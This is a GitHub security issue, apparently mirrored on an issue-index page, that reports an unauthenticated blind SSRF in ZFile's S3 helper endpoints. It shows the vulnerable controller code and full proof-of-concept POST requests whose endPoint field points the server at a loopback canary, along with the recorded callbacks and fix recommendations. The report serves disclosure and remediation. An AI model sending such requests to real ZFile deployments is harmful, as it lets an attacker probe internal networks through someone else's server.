zfile-dev / zfile-dev/zfile

Unauthenticated Blind SSRF through the S3 Endpoint Override

Open
#836 1 comment 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
Java
Stars
10.8k
Forks
2k
PR merge metrics
No merged PRs in 30d

Description

Summary

ZFile allows an unauthenticated caller to choose the HTTP endpoint used by the S3 helper. The caller-controlled endPoint value is passed to the AWS SDK S3Client.endpointOverride without a host allowlist or private-address check.

Root Cause

The vulnerable entry point is S3HelperController, which is mapped to /s3. It exposes POST /s3/getBuckets and POST /s3/getCorsConfig. These paths are not under /admin. SaTokenConfigure applies the administrator login and role checks to /admin/** only, so the S3 helper endpoints were reachable without an authenticated ZFile session during the reproduction.

For POST /s3/getBuckets, the controller accepts GetS3BucketListRequest and reads the attacker-controlled endPoint field:

@RequestMapping("/s3")
public class S3HelperController {

    @PostMapping("/getBuckets")
    @ResponseBody
    public AjaxJson<List<S3BucketNameResult>> getBucketNames(
            @Valid @RequestBody GetS3BucketListRequest request) {
        String accessKey = request.getAccessKey();
        String secretKey = request.getSecretKey();
        String endPoint = request.getEndPoint();
        if (!UrlUtils.hasScheme(endPoint)) {
            endPoint = "http://" + endPoint;
        }
        ...
        URI endpointOverride = URI.create(endPoint);
        StaticCredentialsProvider credentialsProvider =
                StaticCredentialsProvider.create(
                        AwsBasicCredentials.create(accessKey, secretKey));
        s3Client = S3Client.builder()
                .region(oss)
                .endpointOverride(endpointOverride)
                .credentialsProvider(credentialsProvider)
                .build();
        buckets = s3Client.listBuckets().buckets();
    }

The request DTO only applies non-empty validation to the endpoint. It does not restrict the hostname, port, address range, or redirect behavior:

@NotBlank(message = "EndPoint 不能为空")
private String endPoint;

UrlUtils.hasScheme() only determines whether the value starts with http:// or https://:

public static boolean hasScheme(String url) {
    return url.startsWith("http://") || url.startsWith("https://");
}

This check is not an SSRF defense. It does not validate the destination host.

The resulting endpointOverride is not merely stored as configuration. S3Client.listBuckets() actively sends the S3 request to that URI. The same data flow is present in POST /s3/getCorsConfig: its request DTO also accepts endPoint without an address policy, and the controller passes the value to S3Client.endpointOverride() before calling getBucketCors().

The complete source-to-sink flow is:

unauthenticated POST /s3/getBuckets
  -> GetS3BucketListRequest.endPoint
  -> UrlUtils.hasScheme() checks only the URL scheme
  -> URI.create(endPoint)
  -> S3Client.builder().endpointOverride(endpointOverride)
  -> s3Client.listBuckets()
  -> outbound HTTP request to the attacker-selected host and port

The root cause is the combination of an externally controllable outbound destination, insufficient URL validation, and a server-side SDK call that is executed before any destination security policy is applied.

POC

  • A separate Canary service listened on 127.0.0.1:28081 inside the target web container's network namespace.
Canary request A and response
POST /s3/getBuckets HTTP/1.1
Host: localhost:37632
User-Agent: curl/7.81.0
Accept: */*
Content-Type: application/json
Content-Length: 131

{"accessKey":"audit-probe","secretKey":"audit-probe","endPoint":"http://127.0.0.1:28081/poc/zfile_SSRF-001-A","region":"us-east-1"}
HTTP/1.1 500
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Origin,X-Requested-With,Content-Type,Accept,Zfile-Token,Axios-Request,Axios-From
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Credentials: false
Access-Control-Max-Age: 600
vary: accept-encoding
Content-Type: application/json
Transfer-Encoding: chunked
Date: Wed, 29 Jul 2026 17:37:06 GMT
Connection: close

96
{"code":"50000","msg":"S3 工具辅助模块获取 Bucket 列表失败","data":null,"dataCount":null,"traceId":"30300690-6f32-475a-ab48-f009244c065a"}
0
Canary request B and response
POST /s3/getBuckets HTTP/1.1
Host: localhost:37632
User-Agent: curl/7.81.0
Accept: */*
Content-Type: application/json
Content-Length: 131

{"accessKey":"audit-probe","secretKey":"audit-probe","endPoint":"http://127.0.0.1:28081/poc/zfile_SSRF-001-B","region":"us-east-1"}
HTTP/1.1 500
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Origin,X-Requested-With,Content-Type,Accept,Zfile-Token,Axios-Request,Axios-From
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Credentials: false
Access-Control-Max-Age: 600
vary: accept-encoding
Content-Type: application/json
Transfer-Encoding: chunked
Date: Wed, 29 Jul 2026 17:37:06 GMT
Connection: close

96
{"code":"50000","msg":"S3 工具辅助模块获取 Bucket 列表失败","data":null,"dataCount":null,"traceId":"01047437-af1d-4702-b075-41e85186bdfa"}
0
Canary

The Canary recorded both callbacks:

2026-07-29T17:37:06.748947+00:00
GET /poc/zfile_SSRF-001-A/
source: 127.0.0.1
2026-07-29T17:37:06.830022+00:00
GET /poc/zfile_SSRF-001-B/
source: 127.0.0.1

Impact

An unauthenticated client can cause the ZFile server to initiate HTTP requests to loopback, private, link-local, or other internal destinations that are reachable from the application network. This can be used to probe internal services and to send protocol-specific requests through the server.

Recommendation

  1. Do not accept an arbitrary endpoint from an unauthenticated request. Prefer a server-side allowlist of approved S3 providers and endpoint hosts.
  2. If custom S3 endpoints are a required feature, parse the URI and enforce http/https, an approved port policy, a hostname allowlist, and DNS resolution checks that reject loopback, private, link-local, multicast, metadata-service, and other non-routable addresses.
  3. Revalidate the destination after DNS resolution and across every redirect, and route outbound S3 traffic through an egress proxy with an explicit policy.
  4. Place the S3 helper behind the intended authentication and authorization checks, and add rate limiting and audit logging.

Contributor guide

No contributing guide indexed for this repository

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start by tracing POST /s3/getBuckets and POST /s3/getCorsConfig through S3HelperController, their request DTOs, UrlUtils.hasScheme(), and SaTokenConfigure. Review how endpointOverride reaches listBuckets() and getBucketCors(). Done means enforcing authentication and a destination policy that rejects private or non-routable targets, with coverage for the reported loopback requests.

Written by the indexing model from the issue text.

Assessment

Tech stack
aws, java, spring-boot
Domain
authentication, backend-api-design, security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Quiet
Clarity
Mostly clear
Newbie friendliness
38/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.